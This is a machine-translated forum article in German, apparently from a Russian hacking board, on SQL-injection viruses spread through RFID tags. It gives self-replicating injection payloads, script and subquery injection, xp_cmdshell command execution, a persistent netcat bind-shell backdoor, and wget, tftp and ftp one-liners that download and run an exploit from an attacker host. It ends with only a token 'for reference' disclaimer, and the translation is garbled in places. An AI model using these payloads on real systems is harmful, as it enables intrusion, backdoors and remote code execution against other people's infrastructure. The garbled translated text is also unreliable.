This page has been robot translated, sorry for typos if any. Original content here.

Virus im RFID-Hacken, Struktur.


{Einleitung}

In diesem Artikel, eine Ergänzung zum Thema RFID-Hacking. Die Grundlagen und der Anfang sind im ersten Artikel unter: http://forum.antichat.ru/thread123511.html. Von denen wir gelernt haben, dass RFID eine Radio Frequency IDentification Methode für die Remote-Speicherung und Empfangen von Informationen durch die Übertragung von Funksignalen mit Geräten namens RFID-Tags.

{Über parasiten}

Die Hauptfunktionen des Virus in dieser Art von Angriff sind Selbst-Kopieren und Ausführung von beliebigem Code. Für diese Zwecke verwendet der Parasit in der Regel eine Datenbank. Details hängen von der verwendeten Datenbank ab. Im Allgemeinen können wir zwei Klassen von Viren in dieser Art von Angriff unterscheiden: Die erste verwendet willkürliche Abfragen in der Datenbank, die zweite wird mit Quines (spezielles Programm) implementiert.
Der beliebige Code, den ein Virus ausführen kann, hängt von den Mechanismen der Datenbankantwort auf SQL-Injektionen ab.


{SQL-Injektion}

In Verwaltungssystemen wird üblicherweise die Methode der Abfrage von RFID-Tags aus der Datenbank mit der nachfolgenden Rückgabe von Daten verwendet, die wiederum in der richtigen Reihenfolge kopiert werden können. So kopiere die Tags selbst, wenn es bestimmte Faktoren gibt.

Im Moment können Sie zwei Arten von Viren, die erste ist ein einziges Anforderungsprogramm und die zweite ist die Verwendung von mehreren Anfragen.
Die erste Art von Virus, verwendet ein Minimum an Platz, und in seiner Struktur kann nicht tragen eine Kampflast. Und es wird nur für die Eingabe bereits geplanter Informationen in die Datenbank verwendet. Ein Virus, der mehrere Anfragen im Gegenteil verwendet, wird bereits erstellt, um die Systeme der Autoindikation zu infizieren und schädlichen Code oder andere Kampflast einzugeben. Am häufigsten wird die zweite Methode verwendet, aber für den korrekten Betrieb, diese Art von Virus, ist es erforderlich, dass einige Bedingungen in der Datenbank richtig beobachtet werden, und dies ist, um die Funktion der GetCurrentQuery-Stil-Funktion für den Zugriff zu gewährleisten. Dies ist notwendig, um einen Fehler zu vermeiden, da diese API fitcha Ihnen erlaubt, einen Kommentar einzugeben. (Ich beeile mich zu beruhigen, diese Funktionen sind zunächst in den Standardsystemen enthalten)

Spezifische Angriffe können durchgeführt werden, wenn die Datenbank eine Abfrage im Etikett gemacht hat, und sie antwortete mit solchen Inhalten
UPDATE ContainerInhalt SET OldContents = '% content%' WHERE TagID = '% id%'

Hier sind die Variablen Inhalt und id

Wenn diese Anforderung ohne Fehler vergeht, kann der Angreifer die Anfrage nach eigenem Ermessen mit Hilfe unseres Lieblingszitats ('') ändern. Und was kann ich tun? Und das ist, nur ein One-Shot-Kopie in den NewContents Bereich hinzufügen und infizieren andere Systeme in der gleichen Weise.

Hier ist was wir brauchen
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Anstatt nur den Bereich OldContents zu aktualisieren, aktualisiert die Abfrage nun auch den Bereich NewContents. Mit dem SQL-Kommentar (-) werden alle Zeilen in die Datenbank verschoben. Das eröffnet dem Angreifer neue Möglichkeiten.

Einfügen von bösartigem Code.

In der oben beschriebenen Injektionstechnologie ist es unmöglich, einen anderen Code als Abfragen in die Datenbank auszuführen. Wenn jedoch von der Client-Seite des Skripts aktiviert wird, wird der Server automatisch anfällig. Nach dem Kommentar können Skripte eingefügt werden, so dass das Datenbanksystem sie ignoriert.
Das einzige, was zu beachten ist, dass, wenn Sie den Code in die Exploit, müssen Sie berücksichtigen, die dritte Parameter SUBSTR, die die Länge der Exploit entsprechen sollte.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
In einer ernsteren Version mit der Verwendung von Variablen, und fügt nicht nur einige bestimmte Quietschen wird es so aussehen:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Hier sollte der bösartige Code zweimal gearbeitet werden, dh zum ersten Mal ist es selbstkopiert in die Datenbank, zum zweiten Mal ist die Erfüllung von sich selbst.

Im Moment ist das Kommentar-Feature im Oracle (OCI / iSQL * Plus) vorhanden. Dies bietet die Funktionalität des GetCurrentQuery-Stils mit nachfolgenden Administratorrechten.PostgreSQL, MySQL und SQL Server erlauben auch Kommentare und mehrere Injektionsanforderungen. Hier ist auch die Funktionalität des GetCurrentQuery-Stils vorhanden. Für PostgreSQL und SQL Server wurden jedoch noch keine zuverlässigen Arbeitsviren erstellt, alles nur durch die Testentwicklung begrenzt.


{Einige Beispiele für schädlichen Code, der gespritzt wird}

Systemverwaltungsfunktionen, die von Datenbanken bereitgestellt werden, können verwendet werden, um Probleme zu verursachen. Beispielsweise bietet der Microsoft SQL Server eine CLOSE-Funktion, die es ermöglicht, dass die Datenbank privat von SQL ist.
Daten aus der Datenbank lesen
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' Daten in der folgenden Abfrage können für direkte Abfragen in der Datenbank verwendet werden.
'|| (SELECT ...) ||'
In diesem Fall führen die Anführungszeichen eine SQL-Injektion aus und bewirken, dass die Daten als Code interpretiert werden. || Der Operator führt eine Sequenzverbindung durch, wodurch das Ergebnis der SELECT-Abfrage dem Bereich in der Datenbank hinzugefügt wird. Ein Sequenzkommunikationsoperator ist erforderlich, um den Kommentar zu nitrieren, der unsere Lieblingszitate ist.


{Shell-Befehle über SQL-Injection ausführen}

Der SQL-Server bietet eine xp_cmdshell-Prozedur, die bösartig und nicht sehr, Befehle ausgeführt werden kann.
EXEC Master..xp_cmdshell 'commands';

{Installieren von Backdoors auf dem System}

Um das System abzureißen, benötigen wir folgende Befehle
netcat -lp1234|sh
Wo der Hafen von 1234 gehört wird.

Aber hier sind wir von der gefahrenen und von der Firewall oder Brandmauer richtig konfigurierten Gefahr gefangen. Und dann gibt es die Lösung, führen Sie den Code in einer Endlosschleife, so dass es funktioniert wie ein Dämon, die an sich erlaubt Ihnen, eine erweiterte Back-End zu schaffen.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Andere Features}

Es gibt auch nützliche Fitchi, zum Beispiel wget.Test Datei Download über das Netzwerk und Dateispeicher im System.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
Wget ist normalerweise nicht auf Windows-Systemen verfügbar. In diesem Fall müssen Sie tftp verwenden
tftp -i ip GET myexploit.exe & myexploit
Sie können auch eine Textdatei erstellen, wie sie sagen, on the fly, mit der Echo-Funktion
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Fazit}

Dieser Artikel beschreibt die Durchdringung in ein verwundbares System durch Programmierung von RFID-Tags. Natürlich muss ich natürlich warnen, dass das gesamte Material nur als Referenz dient. Angesichts der Komplexität der Umsetzung der Technik, nämlich der Schaffung des Etiketts selbst und der Programmierung mit böswilliger Absicht, scheint es mir durch einen Komplex für den gemeinen Mann. So warne ich Leute, die kenntnisreich sind, aber wer im Leerlauf ist, überprüfe diese Informationen nicht in der Praxis.